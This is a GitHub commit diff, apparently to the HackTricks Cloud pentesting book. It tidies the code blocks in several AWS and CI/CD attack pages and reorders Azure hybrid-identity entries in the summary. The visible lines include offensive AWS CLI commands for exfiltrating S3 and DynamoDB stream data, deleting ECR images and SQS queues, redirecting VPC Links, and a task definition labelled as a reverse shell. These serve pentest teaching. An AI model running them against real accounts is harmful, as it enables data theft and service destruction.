Skip to content

Commit 46a0637

Browse files
committed
impr
1 parent 2ef8359 commit 46a0637

File tree

18 files changed

+188
-34
lines changed

18 files changed

+188
-34
lines changed

searchindex.js

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

src/SUMMARY.md

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -442,11 +442,13 @@
442442
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
443443
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
444444
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
445-
- [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
446-
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
445+
- [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
447446
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
448447
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
449-
- [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md)
448+
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
449+
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
450+
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
451+
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
450452
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
451453
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
452454
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)

src/pentesting-ci-cd/serverless.com-security.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -109,7 +109,7 @@ The **Provider** object specifies the cloud service provider (e.g., AWS, Azure,
109109
It includes details like the runtime, region, stage, and credentials.
110110

111111
```yaml
112-
yamlCopy codeprovider:
112+
provider:
113113
name: aws
114114
runtime: nodejs14.x
115115
region: us-east-1
@@ -767,7 +767,7 @@ Detailed error messages can leak sensitive information about the infrastructure
767767
- **Generic Error Messages:** Avoid exposing internal details in error responses.
768768

769769
```javascript
770-
javascriptCopy code// Example in Node.js
770+
// Example in Node.js
771771
exports.hello = async (event) => {
772772
try {
773773
// Function logic

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ Instead of changing the code on the actual version, the attacker could deploy a
3030
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
3131

3232
```bash
33-
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
33+
# Attacker creates a script that exfiltrates data and maintains access
3434
echo '#!/bin/bash
3535
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
3636
gzip /tmp/data.csv

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -312,7 +312,7 @@ An attacker with these permissions can **enable a stream on a DynamoDB table, up
312312
1. Enable a stream on a DynamoDB table:
313313

314314
```bash
315-
bashCopy codeaws dynamodb update-table \
315+
aws dynamodb update-table \
316316
--table-name TargetTable \
317317
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
318318
--region <region>
@@ -321,15 +321,15 @@ bashCopy codeaws dynamodb update-table \
321321
2. Describe the stream to obtain the ARN and other details:
322322

323323
```bash
324-
bashCopy codeaws dynamodb describe-stream \
324+
aws dynamodb describe-stream \
325325
--table-name TargetTable \
326326
--region <region>
327327
```
328328

329329
3. Get the shard iterator using the stream ARN:
330330

331331
```bash
332-
bashCopy codeaws dynamodbstreams get-shard-iterator \
332+
aws dynamodbstreams get-shard-iterator \
333333
--stream-arn <stream_arn> \
334334
--shard-id <shard_id> \
335335
--shard-iterator-type LATEST \
@@ -339,7 +339,7 @@ bashCopy codeaws dynamodbstreams get-shard-iterator \
339339
4. Use the shard iterator to access and exfiltrate data from the stream:
340340

341341
```bash
342-
bashCopy codeaws dynamodbstreams get-records \
342+
aws dynamodbstreams get-records \
343343
--shard-iterator <shard_iterator> \
344344
--region <region>
345345
```

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
6060
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
6161

6262
```bash
63-
bashCopy code# Create a JSON file with the malicious lifecycle policy
63+
# Create a JSON file with the malicious lifecycle policy
6464
echo '{
6565
"rules": [
6666
{

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> -
3838
An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue.
3939

4040
```arduino
41-
Copy codeaws sqs delete-queue --queue-url <value>
41+
aws sqs delete-queue --queue-url <value>
4242
```
4343

4444
**Potential Impact**: Message loss and service disruption for applications using the deleted queue.
@@ -48,7 +48,7 @@ Copy codeaws sqs delete-queue --queue-url <value>
4848
An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages.
4949

5050
```arduino
51-
Copy codeaws sqs purge-queue --queue-url <value>
51+
aws sqs purge-queue --queue-url <value>
5252
```
5353

5454
**Potential Impact**: Message loss and service disruption for applications relying on the purged messages.
@@ -79,7 +79,7 @@ aws sqs untag-queue --queue-url <value> --tag-keys <key>
7979
An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue.
8080

8181
```arduino
82-
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
82+
aws sqs remove-permission --queue-url <value> --label <value>
8383
```
8484

8585
**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions.

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -95,7 +95,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
9595
An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**.
9696

9797
```bash
98-
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
98+
VPC_LINK_ID="your-vpc-link-id"
9999
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
100100

101101
# Update the VPC Link

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -67,7 +67,7 @@ Like the previoous section, but for public repositories.\
6767
An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges.
6868

6969
```bash
70-
bashCopy code# Create a JSON file with the malicious public repository policy
70+
# Create a JSON file with the malicious public repository policy
7171
echo '{
7272
"Version": "2008-10-17",
7373
"Statement": [

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -259,7 +259,7 @@ TODO: Is it possible to register an instance from a different AWS account so tas
259259
An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**.
260260

261261
```bash
262-
bashCopy code# Register a task definition with a reverse shell
262+
# Register a task definition with a reverse shell
263263
echo '{
264264
"family": "malicious-task",
265265
"containerDefinitions": [

0 commit comments

Comments
 (0)